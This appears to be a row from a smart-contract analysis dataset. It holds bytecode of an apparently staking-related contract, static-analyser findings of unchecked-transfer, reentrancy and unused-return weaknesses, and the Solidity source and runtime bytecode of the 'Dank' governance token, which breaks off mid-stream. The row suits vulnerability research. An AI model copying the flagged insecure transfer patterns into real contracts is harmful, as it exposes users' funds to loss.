ffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156109ff57600080fd5b505af1158015610a13573d6000803e3d6000fd5b505050506040513d6020811015610a2957600080fd5b8101908080519060200190929190505050610aac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610afe81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7090919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b55336008611c8790919063ffffffff16565b8015610ba057506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610bbb57610bb9336008611cb790919063ffffffff16565b505b50565b606080606080848610610bd057600080fd5b6000610be58787611c7090919063ffffffff16565b905060608167ffffffffffffffff81118015610c0057600080fd5b50604051908082528060200260200182016040528015610c2f5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff81118015610c4b57600080fd5b50604051908082528060200260200182016040528015610c7a5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff81118015610c9657600080fd5b50604051908082528060200260200182016040528015610cc55781602001602082028036833780820191505090505b50905060608467ffffffffffffffff81118015610ce157600080fd5b50604051908082528060200260200182016040528015610d105781602001602082028036833780820191505090505b50905060008b90505b8a811015610ebc576000610d37826008611ce790919063ffffffff16565b90506000610d4e8e84611c7090919063ffffffff16565b905081878281518110610d5d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610de357fe5b602002602001018181525050600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610e3b57fe5b602002602001018181525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610e9357fe5b6020026020010181815250505050610eb5600182611c5490919063ffffffff16565b9050610d19565b50838383839850985098509850505050505092959194509250565b60008111610f4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f7420756e7374616b65203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611002576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b61100b33611d01565b7366a9d899e8760b0aa897b9ad764e446cfc897c4b73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110a657600080fd5b505af11580156110ba573d6000803e3d6000fd5b505050506040513d60208110156110d057600080fd5b8101908080519060200190929190505050611153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6111a581600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7090919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111fc336008611c8790919063ffffffff16565b801561124757506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561126257611260336008611cb790919063ffffffff16565b505b50565b60006112716008611fc3565b905090565b7380bb277f4355a43cdbb86a82f9876c946476d9eb81565b61129733611d01565b565b600b6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461132257600080fd5b7366a9d899e8760b0aa897b9ad764e446cfc897c4b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180612282603a913960400191505060405180910390fd5b7380bb277f4355a43cdbb86a82f9876c946476d9eb73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158061140b575060065442115b611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806122bc602c913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114e757600080fd5b505af11580156114fb573d6000803e3d6000fd5b505050506040513d602081101561151157600080fd5b810190808051906020019092919050505050505050565b60035481565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b6000611575826008611c8790919063ffffffff16565b611582576000905061172e565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156115d3576000905061172e565b6000804290506007548111156115e95760075490505b80600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611638576000915061168d565b61168a600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611c7090919063ffffffff16565b91505b6000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006117246127106117166301e13380611708886116fa60015489611fd890919063ffffffff16565b611fd890919063ffffffff16565b61200790919063ffffffff16565b61200790919063ffffffff16565b9050809450505050505b919050565b7366a9d899e8760b0aa897b9ad764e446cfc897c4b81565b600081116117c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616e6e6f74207374616b65203020546f6b656e73000000000000000000000081525060200191505060405180910390fd5b7366a9d899e8760b0aa897b9ad764e446cfc897c4b73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561189057600080fd5b505af11580156118a4573d6000803e3d6000fd5b505050506040513d60208110156118ba57600080fd5b810190808051906020019092919050505061193d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61194633611d01565b61199881600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5490919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ef336008611c8790919063ffffffff16565b611a4d57611a0733600861202090919063ffffffff16565b5042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60015481565b6301e1338081565b600a6020528060005260406000206000915090505481565b60065481565b60025481565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ae157600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b4457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b7e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c6020528060005260406000206000915090505481565b600080828401905083811015611c6657fe5b8091505092915050565b600082821115611c7c57fe5b818303905092915050565b6000611caf836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612050565b905092915050565b6000611cdf836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612073565b905092915050565b6000611cf6836000018361215b565b60001c905092915050565b6000611d0c8261155f565b90506000811115611f7b577380bb277f4355a43cdbb86a82f9876c946476d9eb73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611db257600080fd5b505af1158015611dc6573d6000803e3d6000fd5b505050506040513d6020811015611ddc57600080fd5b8101908080519060200190929190505050611e5f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611eb181600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5490919063ffffffff16565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0981600254611c5490919063ffffffff16565b6002819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000611fd1826000016121de565b9050919050565b60008082840290506000841480611ff7575082848281611ff457fe5b04145b611ffd57fe5b8091505092915050565b60008082848161201357fe5b0490508091505092915050565b6000612048836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6121ef565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461214f57600060018203905060006001866000018054905003905060008660000182815481106120be57fe5b90600052602060002001549050808760000184815481106120db57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061211357fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612155565b60009150505b92915050565b6000818360000180549050116121bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806122606022913960400191505060405180910390fd5b8260000182815481106121cb57fe5b9060005260206000200154905092915050565b600081600001805490509050919050565b60006121fb8383612050565b612254578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612259565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74207472616e73666572206f7574205374616b6520546f6b656e732066726f6d207468697320636f6e74726163742141646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732079657421a2646970667358221220f6a295800e2d7334581b26aff9829a929c0bf5eb4f057a07740f6fc543010fce64736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,447 |
0x48873b1f04c7eca74dceca063fb253f400a8fd18
|
/**
*Submitted for verification at Etherscan.io on 2021-10-13
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Dank {
/// @notice EIP-20 token name for this token
string public constant name = "Decentralized-Bank";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "DANK";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 100000000e18; // 100 million Dank
/// @notice Allowance amounts on behalf of others
mapping(address => mapping(address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping(address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping(address => address) public delegates;
address public owner;
address public pendingOwnerAddr;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
// Called when new token are issued
// event Issue(uint amount);
/**
* @notice Construct a new Dank token
*/
constructor() public {
owner = msg.sender;
balances[owner] = uint96(totalSupply);
emit Transfer(address(0), owner, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(- 1)) {
amount = uint96(- 1);
} else {
amount = safe96(rawAmount, "Dank::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Dank::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
// function issue(uint96 amount) public onlyOwner {
// require(totalSupply + amount > totalSupply);
// require(balances[owner] + amount > balances[owner]);
//
// balances[owner] += amount;
// totalSupply = add96(uint96(totalSupply),amount,'Dank issue amount overflows');
// emit Issue(amount);
// }
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Dank::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(- 1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Dank::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Dank::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Dank::delegateBySig: invalid nonce");
require(now <= expiry, "Dank::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Dank::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2;
// ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Dank::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Dank::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Dank::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Dank::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Dank::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Dank::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Dank::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2 ** 32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2 ** 96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly {chainId := chainid()}
return chainId;
}
event OwnershipTransferRequested(address indexed from, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
/**
* @notice Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(address to) external onlyOwner() {
require(to != msg.sender, "Cannot transfer to self");
pendingOwnerAddr = to;
emit OwnershipTransferRequested(owner, to);
}
/**
* @notice Allows an ownership transfer to be dankleted by the recipient.
*/
function acceptOwnership() external {
require(msg.sender == pendingOwnerAddr, "Must be proposed owner");
address oldOwner = owner;
owner = msg.sender;
pendingOwnerAddr = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @notice Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only callable by owner");
_;
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806379ba5097116100c3578063b4b5ea571161007c578063b4b5ea57146102a3578063c3cda520146102b6578063dd62ed3e146102c9578063e7a324dc146102dc578063f1127ed8146102e4578063f2fde38b146103055761014d565b806379ba50971461025d5780637ecebe00146102655780638da5cb5b146102785780638fe1d3441461028057806395d89b4114610288578063a9059cbb146102905761014d565b8063313ce56711610115578063313ce567146101c0578063587cde1e146101d55780635c19a95c146101f55780636fcfff451461020a57806370a082311461022a578063782d6fe11461023d5761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd1461019057806320606b70146101a557806323b872dd146101ad575b600080fd5b61015a610318565b604051610167919061198b565b60405180910390f35b61018361017e3660046113b7565b610346565b60405161016791906118e1565b610198610405565b60405161016791906118ef565b61019861040b565b6101836101bb36600461136a565b610422565b6101c861056b565b6040516101679190611a55565b6101e86101e336600461130a565b610570565b60405161016791906118d3565b61020861020336600461130a565b61058b565b005b61021d61021836600461130a565b610598565b6040516101679190611a2c565b61019861023836600461130a565b6105b0565b61025061024b3660046113b7565b6105d4565b6040516101679190611a71565b6102086107eb565b61019861027336600461130a565b610870565b6101e8610882565b6101e8610891565b61015a6108a0565b61018361029e3660046113b7565b6108c0565b6102506102b136600461130a565b6108fc565b6102086102c43660046113e7565b61096c565b6101986102d7366004611330565b610b60565b610198610b94565b6102f76102f236600461146e565b610ba0565b604051610167929190611a3a565b61020861031336600461130a565b610bd5565b60405180604001604052806012815260200171446563656e7472616c697a65642d42616e6b60701b81525081565b60008060001983141561035c5750600019610381565b61037e83604051806060016040528060258152602001611c6f60259139610c7a565b90505b3360008181526001602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103f1908590611a63565b60405180910390a360019150505b92915050565b60005481565b604051610417906118bd565b604051809103902081565b6001600160a01b03831660009081526001602090815260408083203380855290835281842054825160608101909352602580845291936001600160601b0390911692859261047a9288929190611c6f90830139610c7a565b9050866001600160a01b0316836001600160a01b0316141580156104a757506001600160601b0382811614155b156105515760006104d183836040518060600160405280603d8152602001611bb3603d9139610ca9565b6001600160a01b038981166000818152600160209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610547908590611a63565b60405180910390a3505b61055c878783610ce8565b600193505050505b9392505050565b601281565b6003602052600090815260409020546001600160a01b031681565b6105953382610e93565b50565b60076020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600260205260409020546001600160601b031690565b60004382106105fe5760405162461bcd60e51b81526004016105f590611a1c565b60405180910390fd5b6001600160a01b03831660009081526007602052604090205463ffffffff168061062c5760009150506103ff565b6001600160a01b038416600090815260066020908152604080832063ffffffff6000198601811685529252909120541683106106a8576001600160a01b03841660009081526006602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103ff565b6001600160a01b038416600090815260066020908152604080832083805290915290205463ffffffff168310156106e35760009150506103ff565b600060001982015b8163ffffffff168163ffffffff1611156107a657600282820363ffffffff160481036107156112c7565b506001600160a01b038716600090815260066020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610781576020015194506103ff9350505050565b805163ffffffff168711156107985781935061079f565b6001820392505b50506106eb565b506001600160a01b038516600090815260066020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b6005546001600160a01b031633146108155760405162461bcd60e51b81526004016105f5906119ac565b600480546001600160a01b0319808216339081179093556005805490911690556040516001600160a01b03909116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350565b60086020526000908152604090205481565b6004546001600160a01b031681565b6005546001600160a01b031681565b6040518060400160405280600481526020016344414e4b60e01b81525081565b6000806108e583604051806060016040528060268152602001611b5760269139610c7a565b90506108f2338583610ce8565b5060019392505050565b6001600160a01b03811660009081526007602052604081205463ffffffff1680610927576000610564565b6001600160a01b0383166000908152600660209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b600060405161097a906118bd565b604080519182900382208282019091526012825271446563656e7472616c697a65642d42616e6b60701b6020909201919091527f9d2d5796d1c852a2a7caa58d99d127e2ed97954a7c2fb5a0d38a5ba04e448b7f6109d6610f1d565b306040516020016109ea949392919061193b565b6040516020818303038152906040528051906020012090506000604051610a10906118c8565b604051908190038120610a2b918a908a908a906020016118fd565b60405160208183030381529060405280519060200120905060008282604051602001610a5892919061188c565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610a959493929190611970565b6020604051602081039080840390855afa158015610ab7573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610aea5760405162461bcd60e51b81526004016105f5906119fc565b6001600160a01b03811660009081526008602052604090208054600181019091558914610b295760405162461bcd60e51b81526004016105f59061199c565b87421115610b495760405162461bcd60e51b81526004016105f5906119ec565b610b53818b610e93565b505050505b505050505050565b6001600160a01b0391821660009081526001602090815260408083209390941682529190915220546001600160601b031690565b604051610417906118c8565b600660209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b6004546001600160a01b03163314610bff5760405162461bcd60e51b81526004016105f5906119bc565b6001600160a01b038116331415610c285760405162461bcd60e51b81526004016105f590611a0c565b600580546001600160a01b0319166001600160a01b03838116918217909255600454604051919216907fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae127890600090a350565b600081600160601b8410610ca15760405162461bcd60e51b81526004016105f5919061198b565b509192915050565b6000836001600160601b0316836001600160601b031611158290610ce05760405162461bcd60e51b81526004016105f5919061198b565b505050900390565b6001600160a01b038316610d0e5760405162461bcd60e51b81526004016105f5906119dc565b6001600160a01b038216610d345760405162461bcd60e51b81526004016105f5906119cc565b6001600160a01b038316600090815260026020908152604091829020548251606081019093526036808452610d7f936001600160601b039092169285929190611b7d90830139610ca9565b6001600160a01b03848116600090815260026020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610de79491909116928592909190611bf090830139610f21565b6001600160a01b038381166000818152600260205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e54908590611a63565b60405180910390a36001600160a01b03808416600090815260036020526040808220548584168352912054610e8e92918216911683610f5d565b505050565b6001600160a01b03808316600081815260036020818152604080842080546002845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610f17828483610f5d565b50505050565b4690565b6000838301826001600160601b038087169083161015610f545760405162461bcd60e51b81526004016105f5919061198b565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610f8857506000816001600160601b0316115b15610e8e576001600160a01b03831615611040576001600160a01b03831660009081526007602052604081205463ffffffff169081610fc8576000611007565b6001600160a01b0385166000908152600660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061102e8285604051806060016040528060288152602001611c2060289139610ca9565b905061103c868484846110eb565b5050505b6001600160a01b03821615610e8e576001600160a01b03821660009081526007602052604081205463ffffffff16908161107b5760006110ba565b6001600160a01b0384166000908152600660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006110e18285604051806060016040528060278152602001611c4860279139610f21565b9050610b58858484845b600061110f43604051806060016040528060348152602001611c94603491396112a0565b905060008463ffffffff1611801561115857506001600160a01b038516600090815260066020908152604080832063ffffffff6000198901811685529252909120548282169116145b156111b7576001600160a01b0385166000908152600660209081526040808320600019880163ffffffff16845290915290